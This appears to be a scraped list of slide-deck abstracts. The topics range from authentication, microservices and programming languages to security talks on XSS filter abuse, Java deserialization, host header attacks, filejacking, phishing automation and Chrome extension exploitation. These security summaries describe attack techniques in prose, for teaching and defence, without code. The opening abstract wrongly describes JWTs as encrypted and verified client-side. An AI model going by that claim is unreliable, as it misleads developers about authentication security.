Authentication: Cookies vs JWTs and why you’re doing it wrongDerek Perkins
JWTs provide a more secure and scalable alternative to cookie-based authentication. JWTs contain encrypted user information that is verified on the client-side and transmitted with each request, avoiding the need for database lookups on the server-side. In contrast, cookies require server-side sessions and database lookups to validate the user on each request. JWTs also enable cross-domain requests and work across mobile and web platforms, while cookies have limitations in these areas. Developers are advised to use a third-party service to handle JWT generation and verification rather than implementing it themselves.
This document discusses building microservices with gRPC and NATS. It begins with an introduction to microservices architecture and challenges in communication between microservices. It then covers using gRPC and Protocol Buffers to build high performance APIs, as well as using NATS for an event-driven architecture with publish-subscribe messaging. Code demos are provided for gRPC and NATS. The document concludes with a discussion of event sourcing and various messaging patterns when using NATS.
This document discusses fuzzing browsers to uncover security vulnerabilities. It explains that fuzzing involves sending malformed or unexpected input to programs to find crashes or bugs. Specifically for browsers, fuzzing is useful because browsers are commonly targeted and easy to test. Successful fuzzing can find issues like buffer overflows, integer overflows, and out of bound reads. Finding bugs through fuzzing can help secure systems and earn significant rewards through browser bug bounty programs.
This is the material that I prepared for gathering best practices in exception handling that we aim to follow. I used the content stated in the references section.
This document introduces jQuery, including its environment, implementation, and use with jQuery UI. jQuery is a JavaScript library that simplifies client-side scripting by providing methods for selecting elements, handling events, performing animations and AJAX requests, and manipulating the DOM. The document provides examples of using jQuery for these tasks and binding jQuery UI widgets like tabs.
Developing functional domain models with event sourcing (sbtb, sbtb2015)Chris Richardson
This document discusses developing functional domain models using event sourcing. It covers why event sourcing is useful, how to design domain models and events, and how event sourcing relates to service design. The document discusses using familiar domain-driven design concepts like entities, value objects, aggregates and repositories with event sourcing. It also provides examples of implementing event sourcing in Scala.
Mocking APIs Collaboratively with PostmanNordic APIs
Postman’s Mock Servers are an excellent tool to design APIs by setting expected responses based on your API endpoints and parameters. They allow teams to be more agile by removing the need to wait for an API producer to deliver a MVP of the service. Consumers of the API can thus set their expectations on what they need from the API producer. This demo will show how you can generate mock servers in Postman from scratch, through Postman Collections and return conditional responses.
XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015CODE BLUE
Microsoft's web browsers, Internet Explorer and Edge, have a feature called 'XSS filter' built in which protects users from XSS attacks. In order to deny XSS attacks, XSS filter looks into the request for a string resembling an XSS attack, compares it with the page and finds the appearance of it, and rewrites parts of the string if it appears in the page. This rewriting process of the string - is this done safely? The answer is no. This time, I have found a way to exploit XSS filter not to protect a web page, but to create an XSS vulnerability on a web page that is completely sane and free of XSS vulnerability. In this talk, I will describe technical details about possibilities of XSS attacks exploiting XSS filter and propose what website administrators should do to face this XSS filter nightmare.
The document describes a methodology for discovering vulnerabilities in a fictional application with a microservices architecture. It involves mapping out all APIs, endpoints, subdomains and requests to extract a comprehensive list. Parameters are then fuzzed on all combinations to find unintended behaviors like old or unused endpoints exposing more data than intended, or endpoints making internal calls that can be exploited through server-side request forgery or path traversal. Examples are given of similar vulnerabilities discovered in real applications, such as an unused JSON API leaking private user data, path traversal through internal API calls, and account hijacking through improper protection of authentication keys.
This document provides an introduction to the Rust programming language. It describes that Rust was developed by Mozilla Research beginning in 2009 to combine the type safety of Haskell, concurrency of Erlang, and speed of C++. Rust reached version 1.0 in 2015 and is a generic, multiparadigm systems programming language that runs on platforms including ARM, Apple, Linux, Windows and embedded devices. It emphasizes security, performance and fine-grained memory safety without garbage collection.
goployer, 코드 기반의 배포 도구 - 송주영 (beNX) :: AWS Community Day 2020AWSKRUG - AWS한국사용자모임
The document discusses deployment best practices and introduces goployer, an open source deployment tool. It summarizes key aspects of infrastructure as code and modern deployment approaches like blue/green and canary deployments. Goployer supports immutable infrastructure, deployment as code, measurement and testing to enable cost effective and simple deployments. The DevOps Art project aims to share infrastructure code, develop open source tools like Terraform and goployer, and conduct online workshops to foster a proper conceptual understanding of DevOps philosophy and ideal implementations based on that philosophy.
The document discusses working with record groups in Oracle Forms, including defining query and non-query record groups at design time and runtime, populating record groups with built-in functions, manipulating list items programmatically, and using record groups and lists for constructing dynamic queries, storing and passing data, and populating combo boxes and hierarchical trees.
Setting up Page Object Model in Automation Frameworkvaluebound
Using #pageobjectmodel in #automationframework we can make non-brittle test code and reduce or eliminate duplicate test code. In this presentation, Jyoti Prakash of Valuebound has talked about all of the essential concepts and knowledge you need to get started.
----------------------------------------------------------
Get Socialistic
Our website: http://valuebound.com/
LinkedIn: http://bit.ly/2eKgdux
Facebook: https://www.facebook.com/valuebound/
Twitter: http://bit.ly/2gFPTi8
Surviving the Java Deserialization Apocalypse // OWASP AppSecEU 2016Christian Schneider
The hidden danger of Java deserialization vulnerabilities – which often lead to remote code execution – has gained extended visibility in the past year. The issue has been known for years; however, it seems that the majority of developers were unaware of it until recent media coverage around commonly used libraries and major products. This talk aims to shed some light about how this vulnerability can be abused, how to detect it from a static and dynamic point of view, and -- most importantly -- how to effectively protect against it. The scope of this talk is not limited to the Java serialization protocol but also other popular Java libraries used for object serialization.
The ever-increasing number of new vulnerable endpoints and attacker-usable gadgets has resulted in a lot of different recommendations on how to protect your applications, including look-ahead deserialization and runtime agents to monitor and protect the deserialization process. Coming at the problem from a developer’s perspective and triaging the recommendations for you, this talk will review existing protection techniques and demonstrate their effectiveness on real applications. It will also review existing techniques and present new gadgets that demonstrates how attackers can actually abuse your application code and classpath to craft a chain of gadgets that will allow them to compromise your servers.
This talk will also present the typical architectural decisions and code patterns that lead to an increased risk of exposing deserialization vulnerabilities. Mapping the typical anti-patterns that must be avoided, through the use of real code examples we present an overview of hardening techniques and their effectiveness. The talk will also show attendees what to search the code for in order to find potential code gadgets the attackers can leverage to compromise their applications. We’ll conclude with action items and recommendations developers should consider to mitigate this threat.
--
This talk was presented by Alvaro Muñoz & Christian Schneider at the OWASP AppSecEU 2016 conference in Rome.
Event Driven-Architecture from a Scalability perspectiveJonas Bonér
This document discusses building scalable systems using event-driven architecture (EDA). It covers key EDA concepts like messaging patterns, domain events, event streaming, actors, and command query responsibility segregation (CQRS). Implementation patterns are presented, like event sourcing to store system state as a sequence of events. Challenges with clustering brokers, guaranteed delivery, competing consumers and flow control are addressed. Examples of highly scalable systems like Flickr, Amazon, Reddit and Twitter are provided that minimize latency and leverage asynchronous messaging.
Defending against Java Deserialization VulnerabilitiesLuca Carettoni
Java deserialization vulnerabilities have recently gained popularity due to a renewed interest from the security community. Despite being publicly discussed for several years, a significant number of Java based products are still affected. Whenever untrusted data is used within deserialization methods, an attacker can abuse this simple design anti-pattern to compromise your application. After a quick introduction of the problem, this talk will focus on discovering and defending against deserialization vulnerabilities. I will present a collection of techniques for mitigating attacks when turning off object serialization is not an option, and we will discuss practical recommendations that developers can use to help prevent these attacks.
Java Deserialization Vulnerabilities - The Forgotten Bug ClassCODE WHITE GmbH
This document discusses Java deserialization vulnerabilities. It provides an introduction to how Java serialization works and what the security issues are. Specifically, it describes how an attacker can exploit vulnerabilities to remotely execute code on a server by deserializing malicious objects. The document gives examples of past vulnerabilities found in various Java applications and frameworks. It also provides tips for finding vulnerabilities and generating payloads to demonstrate exploits.
Expose your event-driven data to the outside world using webhooks powered by ...HostedbyConfluent
In simple terms, a webhook is an API request that sends data to a receiver in an unidirectional manner, without expecting any response. It is typically used to notify a system when one or more events have taken place.
At ANB we send webhooks to notify partners whenever they have received an incoming transaction or an outgoing payment has been made in one of their accounts. An e-commerce client can, for example, distribute sales revenue to retailers through this event. E-wallet providers can also use these events to fund their existing wallets once funds have been received. In addition, these events can also serve as a mechanism for automatic reconciliation.
A reliable webhook dispatcher will ensure secure delivery of these requests. Webhook-like mechanisms have become increasingly important as REST API integration becomes the norm for synchronizing data efficiently and effectively.
While adapting to an Event-Driven architecture using Kafka, we have faced some push-back while enforcing an asynchronous fashion APIs. It was imperative that we avoid traditional pooling methods, which meant implementing a webhook would not only let our partners continue to do business as usual, but it would also enhance their overall user experience.
Kafka, which is already deployed in our system, provides both a fault-tolerant topic partitions and leader election. Kafka is the leading open source pub/sub messaging system and can persist a huge number of messages using inexpensive storage.
This document discusses Javascript objects. It defines what objects are, how they are created using object literals, the Object constructor, and function constructors. It explains that objects are reference types and compares setting properties using dot notation vs bracket notation. The document also covers the Object.defineProperty method and its uses of enumerable, writable, and configurable properties. It aims to prove that almost everything in Javascript is an object, providing examples of native objects. The document discusses the 'this' keyword and how its value is determined by how a function is called rather than its definition. It compares direct invocation, invoking as an object method, and using call, apply and bind to set the context.
Les Hazlewood, Stormpath co-founder and CTO and the Apache Shiro PMC Chair demonstrates how to design a beautiful REST + JSON API. Includes the principles of RESTful design, how REST differs from XML, tips for increasing adoption of your API, and security concerns.
Presentation video: https://www.youtube.com/watch?v=5WXYw4J4QOU
More info: http://www.stormpath.com/blog/designing-rest-json-apis
Further reading: http://www.stormpath.com/blog
Sign up for Stormpath: https://api.stormpath.com/register
Stormpath is a user management and authentication service for developers. By offloading user management and authentication to Stormpath, developers can bring applications to market faster, reduce development costs, and protect their users. Easy and secure, the flexible cloud service can manage millions of users with a scalable pricing model.
Ekoparty 2017 - The Bug Hunter's Methodologybugcrowd
The document outlines a methodology for effectively finding security vulnerabilities in web applications through bug hunting. It covers discovery techniques like using search engines and subdomain enumeration tools. It then discusses mapping the application by directory brute forcing and vulnerability discovery. Specific vulnerability classes covered include XSS, SQLi, file uploads, LFI/RFI, and CSRF. The document provides resources for each vulnerability type and recommends tools that can help automate the testing process.
Difference between Github vs Gitlab vs Bitbucketjeetendra mandal
Git is a source control management tool that tracks files by recording who made modifications, which files changed and what the changes were, and which files were added or deleted. It provides a commit history that allows users to check modifications by commit ID and see what changes were made in each commit. GitHub, GitLab, and Bitbucket are popular hosted Git services that allow users to create remote repositories, initialize local repositories connected to the remote, give access to multiple contributors, and push and pull changes between local and remote repositories.
This document discusses exploiting vulnerabilities related to HTTP host header tampering. It notes that tampering with the host header can lead to issues like password reset poisoning, cache poisoning, and cross-site scripting. It provides examples of how normal host header usage can be tampered with, including by spoofing the header to direct traffic to malicious sites. The document also lists some potential victims of host header attacks, like Drupal, Django and Joomla, and recommends developers check settings to restrict allowed hosts. It proposes methods for bruteforcing subdomains and host headers to find vulnerabilities.
When you don't have 0days: client-side exploitation for the massesMichele Orru
Conference: InsomniHack (21 March 2014)
Talk speakers:
Michele Orru (@antisnatchor)
Krzysztof Kotowicz (@kkotowicz)
Talk abstract:
A bag of fresh and juicy 0days is certainly something you would love to get
as a Christmas present, but it would probably be just a dream you had one of those drunken nights.
Hold on! Not all is lost! There is still hope for pwning targets without 0days.
We will walk you through multiple real-life examples of client-side pwnage, from tricking the victim to take the bait, to achieving persistence on the compromised system.
The talk will be highly practical and will demonstrate how you can do proper client-side exploitation effectively, simply by abusing existing functionalities of browsers, extensions, legacy features, etc.
We'll delve into Chrome and Firefox extensions (automating various repetitive actions that you'll likely perform in your engagements), HTML applications, abusing User Interface expectations, (Open)Office macros and more. All the attacks are supposed to work on fully patched target software, with a bit of magic trickery as the secret ingredient.
You might already know some of these exploitation vectors, but you might need a way to automate your attacks and tailor them based on the victim language, browser, and whatnot. Either way, if you like offensive security, then this talk is for you.
Biting into the forbidden fruit. Lessons from trusting Javascript crypto.Krzysztof Kotowicz
Krzysztof Kotowicz gave a talk at Hack in Paris in June 2014 about lessons learned from trusting JavaScript cryptography. He discussed the history of skepticism around JS crypto due to language weaknesses like implicit type coercion and lack of exceptions. He then analyzed real-world vulnerabilities in JS crypto libraries like Cryptocat that exploited these issues, as well as web-specific issues like cross-site scripting. Finally, he argued that while the JS language has flaws, developers can still implement crypto securely through practices like strict mode, type checking, and defense-in-depth against web vulnerabilities.
The document describes a methodology for discovering vulnerabilities in a fictional application with a microservices architecture. It involves mapping out all APIs, endpoints, subdomains and requests to extract a comprehensive list. Parameters are then fuzzed on all combinations to find unintended behaviors like old or unused endpoints exposing more data than intended, or endpoints making internal calls that can be exploited through server-side request forgery or path traversal. Examples are given of similar vulnerabilities discovered in real applications, such as an unused JSON API leaking private user data, path traversal through internal API calls, and account hijacking through improper protection of authentication keys.
This document provides an introduction to the Rust programming language. It describes that Rust was developed by Mozilla Research beginning in 2009 to combine the type safety of Haskell, concurrency of Erlang, and speed of C++. Rust reached version 1.0 in 2015 and is a generic, multiparadigm systems programming language that runs on platforms including ARM, Apple, Linux, Windows and embedded devices. It emphasizes security, performance and fine-grained memory safety without garbage collection.
goployer, 코드 기반의 배포 도구 - 송주영 (beNX) :: AWS Community Day 2020AWSKRUG - AWS한국사용자모임
The document discusses deployment best practices and introduces goployer, an open source deployment tool. It summarizes key aspects of infrastructure as code and modern deployment approaches like blue/green and canary deployments. Goployer supports immutable infrastructure, deployment as code, measurement and testing to enable cost effective and simple deployments. The DevOps Art project aims to share infrastructure code, develop open source tools like Terraform and goployer, and conduct online workshops to foster a proper conceptual understanding of DevOps philosophy and ideal implementations based on that philosophy.
The document discusses working with record groups in Oracle Forms, including defining query and non-query record groups at design time and runtime, populating record groups with built-in functions, manipulating list items programmatically, and using record groups and lists for constructing dynamic queries, storing and passing data, and populating combo boxes and hierarchical trees.
Setting up Page Object Model in Automation Frameworkvaluebound
Using #pageobjectmodel in #automationframework we can make non-brittle test code and reduce or eliminate duplicate test code. In this presentation, Jyoti Prakash of Valuebound has talked about all of the essential concepts and knowledge you need to get started.
----------------------------------------------------------
Get Socialistic
Our website: http://valuebound.com/
LinkedIn: http://bit.ly/2eKgdux
Facebook: https://www.facebook.com/valuebound/
Twitter: http://bit.ly/2gFPTi8
Surviving the Java Deserialization Apocalypse // OWASP AppSecEU 2016Christian Schneider
The hidden danger of Java deserialization vulnerabilities – which often lead to remote code execution – has gained extended visibility in the past year. The issue has been known for years; however, it seems that the majority of developers were unaware of it until recent media coverage around commonly used libraries and major products. This talk aims to shed some light about how this vulnerability can be abused, how to detect it from a static and dynamic point of view, and -- most importantly -- how to effectively protect against it. The scope of this talk is not limited to the Java serialization protocol but also other popular Java libraries used for object serialization.
The ever-increasing number of new vulnerable endpoints and attacker-usable gadgets has resulted in a lot of different recommendations on how to protect your applications, including look-ahead deserialization and runtime agents to monitor and protect the deserialization process. Coming at the problem from a developer’s perspective and triaging the recommendations for you, this talk will review existing protection techniques and demonstrate their effectiveness on real applications. It will also review existing techniques and present new gadgets that demonstrates how attackers can actually abuse your application code and classpath to craft a chain of gadgets that will allow them to compromise your servers.
This talk will also present the typical architectural decisions and code patterns that lead to an increased risk of exposing deserialization vulnerabilities. Mapping the typical anti-patterns that must be avoided, through the use of real code examples we present an overview of hardening techniques and their effectiveness. The talk will also show attendees what to search the code for in order to find potential code gadgets the attackers can leverage to compromise their applications. We’ll conclude with action items and recommendations developers should consider to mitigate this threat.
--
This talk was presented by Alvaro Muñoz & Christian Schneider at the OWASP AppSecEU 2016 conference in Rome.
Event Driven-Architecture from a Scalability perspectiveJonas Bonér
This document discusses building scalable systems using event-driven architecture (EDA). It covers key EDA concepts like messaging patterns, domain events, event streaming, actors, and command query responsibility segregation (CQRS). Implementation patterns are presented, like event sourcing to store system state as a sequence of events. Challenges with clustering brokers, guaranteed delivery, competing consumers and flow control are addressed. Examples of highly scalable systems like Flickr, Amazon, Reddit and Twitter are provided that minimize latency and leverage asynchronous messaging.
Defending against Java Deserialization VulnerabilitiesLuca Carettoni
Java deserialization vulnerabilities have recently gained popularity due to a renewed interest from the security community. Despite being publicly discussed for several years, a significant number of Java based products are still affected. Whenever untrusted data is used within deserialization methods, an attacker can abuse this simple design anti-pattern to compromise your application. After a quick introduction of the problem, this talk will focus on discovering and defending against deserialization vulnerabilities. I will present a collection of techniques for mitigating attacks when turning off object serialization is not an option, and we will discuss practical recommendations that developers can use to help prevent these attacks.
Java Deserialization Vulnerabilities - The Forgotten Bug ClassCODE WHITE GmbH
This document discusses Java deserialization vulnerabilities. It provides an introduction to how Java serialization works and what the security issues are. Specifically, it describes how an attacker can exploit vulnerabilities to remotely execute code on a server by deserializing malicious objects. The document gives examples of past vulnerabilities found in various Java applications and frameworks. It also provides tips for finding vulnerabilities and generating payloads to demonstrate exploits.
Expose your event-driven data to the outside world using webhooks powered by ...HostedbyConfluent
In simple terms, a webhook is an API request that sends data to a receiver in an unidirectional manner, without expecting any response. It is typically used to notify a system when one or more events have taken place.
At ANB we send webhooks to notify partners whenever they have received an incoming transaction or an outgoing payment has been made in one of their accounts. An e-commerce client can, for example, distribute sales revenue to retailers through this event. E-wallet providers can also use these events to fund their existing wallets once funds have been received. In addition, these events can also serve as a mechanism for automatic reconciliation.
A reliable webhook dispatcher will ensure secure delivery of these requests. Webhook-like mechanisms have become increasingly important as REST API integration becomes the norm for synchronizing data efficiently and effectively.
While adapting to an Event-Driven architecture using Kafka, we have faced some push-back while enforcing an asynchronous fashion APIs. It was imperative that we avoid traditional pooling methods, which meant implementing a webhook would not only let our partners continue to do business as usual, but it would also enhance their overall user experience.
Kafka, which is already deployed in our system, provides both a fault-tolerant topic partitions and leader election. Kafka is the leading open source pub/sub messaging system and can persist a huge number of messages using inexpensive storage.
This document discusses Javascript objects. It defines what objects are, how they are created using object literals, the Object constructor, and function constructors. It explains that objects are reference types and compares setting properties using dot notation vs bracket notation. The document also covers the Object.defineProperty method and its uses of enumerable, writable, and configurable properties. It aims to prove that almost everything in Javascript is an object, providing examples of native objects. The document discusses the 'this' keyword and how its value is determined by how a function is called rather than its definition. It compares direct invocation, invoking as an object method, and using call, apply and bind to set the context.
Les Hazlewood, Stormpath co-founder and CTO and the Apache Shiro PMC Chair demonstrates how to design a beautiful REST + JSON API. Includes the principles of RESTful design, how REST differs from XML, tips for increasing adoption of your API, and security concerns.
Presentation video: https://www.youtube.com/watch?v=5WXYw4J4QOU
More info: http://www.stormpath.com/blog/designing-rest-json-apis
Further reading: http://www.stormpath.com/blog
Sign up for Stormpath: https://api.stormpath.com/register
Stormpath is a user management and authentication service for developers. By offloading user management and authentication to Stormpath, developers can bring applications to market faster, reduce development costs, and protect their users. Easy and secure, the flexible cloud service can manage millions of users with a scalable pricing model.
Ekoparty 2017 - The Bug Hunter's Methodologybugcrowd
The document outlines a methodology for effectively finding security vulnerabilities in web applications through bug hunting. It covers discovery techniques like using search engines and subdomain enumeration tools. It then discusses mapping the application by directory brute forcing and vulnerability discovery. Specific vulnerability classes covered include XSS, SQLi, file uploads, LFI/RFI, and CSRF. The document provides resources for each vulnerability type and recommends tools that can help automate the testing process.
Difference between Github vs Gitlab vs Bitbucketjeetendra mandal
Git is a source control management tool that tracks files by recording who made modifications, which files changed and what the changes were, and which files were added or deleted. It provides a commit history that allows users to check modifications by commit ID and see what changes were made in each commit. GitHub, GitLab, and Bitbucket are popular hosted Git services that allow users to create remote repositories, initialize local repositories connected to the remote, give access to multiple contributors, and push and pull changes between local and remote repositories.
This document discusses exploiting vulnerabilities related to HTTP host header tampering. It notes that tampering with the host header can lead to issues like password reset poisoning, cache poisoning, and cross-site scripting. It provides examples of how normal host header usage can be tampered with, including by spoofing the header to direct traffic to malicious sites. The document also lists some potential victims of host header attacks, like Drupal, Django and Joomla, and recommends developers check settings to restrict allowed hosts. It proposes methods for bruteforcing subdomains and host headers to find vulnerabilities.
When you don't have 0days: client-side exploitation for the massesMichele Orru
Conference: InsomniHack (21 March 2014)
Talk speakers:
Michele Orru (@antisnatchor)
Krzysztof Kotowicz (@kkotowicz)
Talk abstract:
A bag of fresh and juicy 0days is certainly something you would love to get
as a Christmas present, but it would probably be just a dream you had one of those drunken nights.
Hold on! Not all is lost! There is still hope for pwning targets without 0days.
We will walk you through multiple real-life examples of client-side pwnage, from tricking the victim to take the bait, to achieving persistence on the compromised system.
The talk will be highly practical and will demonstrate how you can do proper client-side exploitation effectively, simply by abusing existing functionalities of browsers, extensions, legacy features, etc.
We'll delve into Chrome and Firefox extensions (automating various repetitive actions that you'll likely perform in your engagements), HTML applications, abusing User Interface expectations, (Open)Office macros and more. All the attacks are supposed to work on fully patched target software, with a bit of magic trickery as the secret ingredient.
You might already know some of these exploitation vectors, but you might need a way to automate your attacks and tailor them based on the victim language, browser, and whatnot. Either way, if you like offensive security, then this talk is for you.
Biting into the forbidden fruit. Lessons from trusting Javascript crypto.Krzysztof Kotowicz
Krzysztof Kotowicz gave a talk at Hack in Paris in June 2014 about lessons learned from trusting JavaScript cryptography. He discussed the history of skepticism around JS crypto due to language weaknesses like implicit type coercion and lack of exceptions. He then analyzed real-world vulnerabilities in JS crypto libraries like Cryptocat that exploited these issues, as well as web-specific issues like cross-site scripting. Finally, he argued that while the JS language has flaws, developers can still implement crypto securely through practices like strict mode, type checking, and defense-in-depth against web vulnerabilities.
Html5: Something wicked this way comes (Hack in Paris)Krzysztof Kotowicz
This document discusses several HTML5-based attacks that could be used to compromise a target named Bob. It describes using filejacking to access files on Bob's computer, poisoning Bob's app cache to gain persistent access, performing silent file uploads to plant incriminating evidence, using UI redressing to trick Bob into actions, and extracting sensitive information from Bob's employer's internal sites using drag-and-drop content extraction. The document provides proof-of-concept demos and notes limitations but emphasizes that HTML5 expands attack possibilities against unaware users. It concludes by encouraging developers to implement proper defenses like X-Frame-Options to prevent framing attacks.
Dark Fairytales from a Phisherman (Vol. II)Michele Orru
The document outlines techniques for automating phishing campaigns using tools like PhishingFrenzy and the Browser Exploitation Framework (BeEF).
It describes how phishing is similar to fishing in that it involves preparing bait (in the form of phishing templates) and casting it out to catch victims. It then introduces PhishLulz, an automated phishing tool built on PhishingFrenzy and BeEF that can be run cheaply on Amazon EC2.
It also discusses the new BeEF Autorun Rule Engine, which allows defining rules to trigger client-side attacks and modules based on conditions like the browser or OS of hooked victims. Examples are given of how this could be used
Practical Phishing Automation with PhishLulz - KiwiCon XMichele Orru
This document introduces PhishLulz, a framework for automating phishing campaigns. It describes tools included in PhishLulz like FindResources.rb for discovering subdomains and MailBoxBug.rb for automating the extraction of emails from harvested webmail credentials. The document advocates for phishing as an effective technique due to human ignorance and technical weaknesses, and emphasizes the importance of speed once access is obtained. Use of PhishLulz is demonstrated to provide automated and reusable tools for many phases of phishing operations.
The document provides an overview of the top-level projects that make up the Chromium source tree. It describes projects such as /android_webview, /base, /build, /cc, /chrome, /components, /content, /ipc, /mojo, /net, /sandbox, /skia, /third_party, /ui, /v8, and /webkit that comprise the core functionality and architecture of the Chromium browser.
The document discusses the history and architecture of Android's WebView. It describes how WebView has transitioned from using a custom WebKit implementation to being based on the Chromium rendering engine. It also summarizes the threading models of Chrome and WebView and explains how rendering occurs in two phases of painting and compositing layers.
This document discusses the rendering process in Webkit and Chromium. It describes how layers are created and composited during rendering. It also covers the multi-process architecture in Chromium including the browser process, render process, and rendering threads. Key classes involved in inter-process communication like RenderViewHost and RenderView are introduced.
This document provides information about piping materials. It discusses the differences between pipes and tubes, how they are manufactured, the materials used, sizing classifications, pressure ratings, and properties. Pipes are specified by internal diameter while tubes are specified by outer diameter. Pipes can be seamless or welded, while tubes are often welded. Common materials include concrete, plastic, metal, and stainless steel. Pipes and tubes undergo finishing and non-destructive testing after manufacturing. The document provides details on these topics over multiple pages.
The document discusses Google Chrome extensions and how they can customize the browser experience. It is a presentation by Samantha Morra, a Google Certified Teacher, about discovering and using helpful extensions. The presentation provides examples of over 30 extensions that can perform useful functions like saving webpages to Google Drive, reading text aloud, taking screenshots, and more to enhance productivity.
This document provides instructions for field joining of cement lined pipes for fire water lines. It describes the stages of the process which include mixing the coating material, surface preparation of the steel, applying the material, fitting up the joint, and welding. The coating material used is called SINMAST, which is a two-component epoxy resin. The document provides details on mixing and applying the coating material, preparing the steel surfaces, fitting up the joint, allowing time for the material to harden before welding, and testing the completed joint.
The document provides examples of nature-inspired building designs from around the world. Some key examples include a Taiwan CDC building inspired by a nautilus shell, an Olympic stadium in Beijing designed to resemble soap bubbles, and a Brazilian eco-house taking cues from giant leaves. Other projects reference cacti, lotus flowers, coral reefs, and algae in their organic architectural forms. Common themes are emulating nature's efficient structures and harnessing its aesthetic beauty in sustainable building designs.
A roof protects a building from weather effects like rain. Different roof types include flat, shed, gable, hip, and dome roofs. A green roof is a roof covered with vegetation that provides environmental benefits like stormwater management and insulation. It includes layers like a waterproof membrane, root barrier, drainage, growth medium, and plants.
The topic is about the basic concepts of shell structure. Shell structures are light weight construction using shell elements. These elements are typically curve and are assembled to make large structured.
I'm in ur browser, pwning your stuff - Attacking (with) Google Chrome ExtensionsKrzysztof Kotowicz
This document discusses attacking Chrome extensions through exploiting vulnerabilities in their architecture and code. It begins by explaining the components and permissions model of Chrome extensions. It then describes how to exploit vulnerabilities like DOM XSS in extensions' UI pages under the legacy v1 model. The document outlines fixes made in the v2 model but still finds ways to bypass security restrictions, such as through content script XSS. It introduces tools like XSSChEF and Mosquito for exploiting extensions. The presentation concludes by noting CSP should only be seen as a mitigation rather than prevention for extension vulnerabilities.
Mobile-First SEO - The Marketers Edition #3XEDigitalAleyda Solís
How to target your SEO process to a reality of more people searching on mobile devices than desktop and an upcoming mobile first Google index? Check it out.
From Laurence McCahill's talk at UX Café, March 2014. You can watch the talk here https://www.youtube.com/watch?v=Wfm5iN0qGlM
How I got 2.5 Million views on Slideshare (by @nickdemey - Board of Innovation)Board of Innovation
This document provides tips for creating engaging slide decks on SlideShare that garner many views. It recommends focusing on quality over quantity when creating each slide, using compelling images and headlines, and including calls to action throughout. It also suggests experimenting with sharing techniques and doing so in waves to build momentum. The goal is to create decks that are optimized for sharing and spread across multiple channels over time.
1) HTTP headers can be used to secure web applications from common attacks like cross-site scripting and clickjacking. Content Security Policy, X-Frame-Options, and HTTP Strict Transport Security are some useful security headers.
2) Content Security Policy allows specifying whitelist sources for things like scripts, stylesheets, and images to load from to prevent XSS. X-Frame-Options prevents clickjacking by not displaying pages within frames. HTTP Strict Transport Security forces HTTPS usage to prevent SSL stripping attacks.
3) Other useful headers include setting secure and HttpOnly flags on cookies to prevent session hijacking, and using X-Content-Type-Options to prevent MIME type sniffing in Internet Explorer. Adding these security
Chrome extensions threat analysis and countermeasuresRoel Palmaers
This document discusses threats posed by malicious Chrome extensions and proposes countermeasures. It begins by noting that extensions have been used to increase attacks in other browsers. While Chrome has security models like least privilege and isolation, experiments showed extensions can still enable attacks like email spamming, DDoS, and phishing. The document analyzes Chrome's permission and trust models, finding content scripts have too much privilege. It concludes by proposing a strengthened permission model following least privilege more strictly to improve security against malware extensions.
Krzysztof kotowicz. something wicked this way comesYury Chemerkin
Krzysztof Kotowicz presented several ways that HTML5 and user interaction could be abused by attackers:
- Filejacking allows uploading files from a user's system without consent by tricking them into selecting a folder. Sensitive files were taken from actual victims.
- AppCache poisoning can be used to persist malicious payloads on a user's system by tampering with application manifest files during a man-in-the-middle attack.
- Silent file upload constructs arbitrary files in JavaScript and uploads them to a victim site using cross-origin resource sharing if CSRF is possible. This was demonstrated against a real website.
- IFRAME sandboxing and drag-and-drop
Krzysztof Kotowicz presented several HTML5 tricks that could be abused by attackers:
- Filejacking allows reading files from a user's system using the directory upload feature in Chrome. Sensitive files were exposed from some users.
- AppCache poisoning can be used in a man-in-the-middle attack to persist malicious payloads by tampering with a site's cache manifest file.
- Silent file upload uses cross-origin resource sharing to upload fake files without user interaction, potentially enabling CSRF attacks.
He warned that IFRAME sandboxing could facilitate clickjacking, and that drag-and-drop techniques risk exposing sensitive content across domains unless sites use X-
Protecting Java EE Web Apps with Secure HTTP HeadersFrank Kim
This document summarizes techniques for securing Java EE web applications with secure HTTP headers. It discusses cross-site scripting (XSS) and how to prevent it using the HttpOnly and X-XSS-Protection headers. It also covers session hijacking and how to prevent it with the Secure and Strict-Transport-Security headers. Finally, it discusses clickjacking and demonstrates how it works.
This document discusses using AngularJS to build Chrome extensions. It covers hosted applications, packaged applications, and extensions. Extensions can access Chrome APIs and have permissions like modifying context menus. AngularJS is well-suited for extensions because data binding makes sharing data between pages easy and its templates work within the Content Security Policy restrictions of extensions. The document demonstrates binding extension data to the $rootScope to synchronize with LocalStorage, and using $apply to update the scope from asynchronous Chrome API callbacks.
1) HTML5 and new web standards like Content Security Policy and cross-origin resource sharing improve security by enabling enforcement of policies like script isolation in the client instead of through server-side filtering.
2) Script injection vulnerabilities like cross-site scripting can be solved using these new client-side techniques rather than incomplete server-side simulations.
3) Mashups can be made more secure by using CORS to retrieve validated data instead of injecting code, and postMessage with isolated iframes to communicate with legacy APIs.
Rich Web App Security - Keeping your application safeJeremiah Grossman
The document discusses securing web applications from common vulnerabilities like cross-site scripting (XSS) and cross-site request forgery (CSRF). It outlines various techniques attackers use to exploit these issues, such as injecting malicious scripts into user input or forging unauthorized requests. The document then provides recommendations for developers to prevent these attacks, such as carefully validating and encoding all user input, and authenticating that requests are intended by the user.
[Wroclaw #2] Web Application Security HeadersOWASP
This document discusses HTTP security headers and techniques for preventing clickjacking and cross-site scripting attacks. It describes the X-Frame-Options header which prevents clickjacking by controlling framing. Content Security Policy (CSP) provides a more powerful alternative to X-Frame-Options and can also prevent cross-site scripting attacks by whitelisting allowed script sources. The document compares X-Frame-Options, CSP directives, and how each addresses different attack vectors. It concludes with recommendations on CSP implementation and testing.
Cross Context Scripting (XCS) is a type of XSS (Cross Site Scripting) injection which occurs from an untrusted zone, typically a web page on the Internet into the context of a trusted browser zone.
XSS injection in a trusted browser zone can be 'lethal', as injected payload runs as privileged code. No SOP (Same-Origin Policy) restrictions are enforced and direct interfacing with the underlying OS is possible.
